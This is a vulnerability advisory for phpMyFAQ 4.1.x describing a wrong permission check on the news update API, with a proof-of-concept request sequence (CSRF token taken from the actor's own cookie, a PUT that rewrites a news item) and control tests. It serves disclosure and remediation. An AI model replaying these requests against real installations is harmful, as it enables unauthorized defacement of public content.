All vulnerabilities
GHSA-287v-6c6j-x9f7

phpmyfaq/phpmyfaq: Incorrect authorization on `PUT /admin/api/news/update`: `NEWS_DELETE` is accepted where `NEWS_EDIT` is required

phpmyfaq/phpmyfaq
CVSS
2.7Low
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in4.1.9Fixed versionGitHub
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

  • 4.1.9phpmyfaq/phpmyfaq, composerGitHubcomposer require "phpmyfaq/phpmyfaq:^4.1.9"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

**Incorrect Authorization (CWE-863): PUT /admin/api/news/update is gated on NEWS_DELETE where every sibling in the same controller uses the right that matches the action.** A delegated admin holding addnews and delnews but not editnews rewrites the header, body, author, link and active flag of any news item, which then renders on the public front page and the public REST API.

This is fixed on main by 9d06e8752 (2026-04-10) and was never backported to 4.1.

Details

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/NewsController.php:122  (4.1.8 and origin/4.1 HEAD)
public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::NEWS_DELETE);   // <- should be NEWS_EDIT

main HEAD line 103 reads $this->userHasPermission(PermissionType::NEWS_EDIT);.

The CSRF token is not a barrier for this actor. Administration\NewsController::getBaseTemplateVars() calls Token::getTokenString('update-news') on *every* news page, including /admin/news/add, which NEWS_ADD already grants. Token::setSession() writes the same random value into the session and into a pmf-csrf-token-<md5('update-news')[0:10]> cookie at path /admin, so the actor reads it out of its own cookie jar.

Proof of concept

phpMyFAQ 4.1.8, fresh install. Actor rnews, rights [addnews, delnews], not editnews, not super admin.

Setup as admin: POST /admin/api/index.php/news/create → news id=1, header=ORIGINAL-HEADER-N1, artikel=ORIGINAL-BODY-N1, author_name=Admin.

[rnews] GET /admin/index.php/news/add               -> 200   (holds NEWS_ADD)
        update-news token read from own cookie jar  -> 40ac6f1656c977bcf881295edcfb3c95

[rnews] PUT /admin/api/index.php/news/update
        {"csrfToken":"40ac…","id":1,"newsHeader":"PWNED-HEADER-N1",
         "news":"PWNED-BODY-N1 injected by a user without editnews","authorName":"rnews"}
        -> 200 {"success":"The news entry has been successfully updated."}

Read back through a separate, unauthenticated path — the public REST API and the public home page:

$ curl -s http://localhost:8088/api/v3.1/news
[{"id":1,"lang":"en","header":"PWNED-HEADER-N1",
  "content":"PWNED-BODY-N1 injected by a user without editnews","authorName":"rnews",
  "authorEmail":"rnews@example.test","active":true,
  "url":"http://localhost/news/1/en/pwned_header_n1.html"}]

$ curl -s http://localhost:8088/index.php | grep -oE 'PWNED-[A-Z-]+-N1'
PWNED-BODY-N1
PWNED-HEADER-N1

Database row after the write, read independently (faqfaqnews):

id  header             active  artikel                                            author_name
1   PWNED-HEADER-N1    y       PWNED-BODY-N1 injected by a user without editnews   rnews

Controls.

*A — the actor really lacks NEWS_EDIT, and the refusal names it:*

[rnews] POST /admin/api/index.php/news/activate  -> 403 {"error":"Forbidden"}      (guard: NEWS_EDIT)
[rnews] GET  /admin/index.php/news/edit/1        -> 403 User has no "NEWS_EDIT" permission.  (AbstractController.php:236)

*B — the mirror direction, proving the guard really is NEWS_DELETE:* reditnews, holding only editnews, is refused the very same write.

[reditnews] GET /admin/index.php/news/add         -> 403   (no NEWS_ADD)
[reditnews] PUT /admin/api/index.php/news/update  -> 403 {"error":"Forbidden"}

*C — no test operation granted the right under test.* Rights were assigned once by admin before the run and re-read from /admin/api/user/permissions/5 → [10,12]; 11 (editnews) is absent throughout, and isSuperAdmin: false.

*D — main is not affected.* The same request on main HEAD returns 403 … "User has no \"NEWS_EDIT\" permission.", matching its source.

Impact

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N — 2.7 Low.

PR:H because the actor needs a delegated admin account holding two of the three news rights — addnews for the token, delnews for the guard. I:L — arbitrary rewrite of the header, body, author, link and active flag of any news item, rendering on the public front page, so a content-integrity and defacement primitive confined to one content type. If you treat "news moderator" as a low-privileged role the vector is PR:L and the score 4.3 Medium; I report the conservative one.

Suggested remediation

One-line backport of 9d06e8752 to the 4.1 branch: PermissionType::NEWS_DELETE → PermissionType::NEWS_EDIT at Api/NewsController.php:122.

What this is not

Not pre-auth, and not reachable by an ordinary member: NEWS_ADD and NEWS_DELETE are both required, so the actor is a delegated news administrator.

Not a stored-XSS claim. News content renders unescaped by design for privileged authors; I demonstrate that the *wrong* privilege level can write it, and make no claim about the escaping itself.

**Not a duplicate of GHSA-6w97-49h8-58wh, and that advisory's own text is the evidence.** Its root-cause section reads: *"The corresponding mutation APIs enforce the correct permissions (Api/NewsController.php requires NEWS_EDIT), confirming the intended privilege level."* That sentence is true on main and false on 4.1 — at tag 4.1.8 the same method reads $this->userHasPermission(PermissionType::NEWS_DELETE);. So the mutation API was used there as the evidence for the intended privilege level, and on the stable branch it is the thing that is wrong.

Affected: the whole 4.1 line including 4.1.8 and origin/4.1 HEAD 0245df72b. Not affected: main / 4.2.0-alpha. Introduced by 8154fdf76 (*"refactor: moved news to twig"*, #2791).

Text from GitHub Advisory Database

Affected versions 1

  • phpmyfaq/phpmyfaq, composer>= 4.1.0, <= 4.1.8GitHub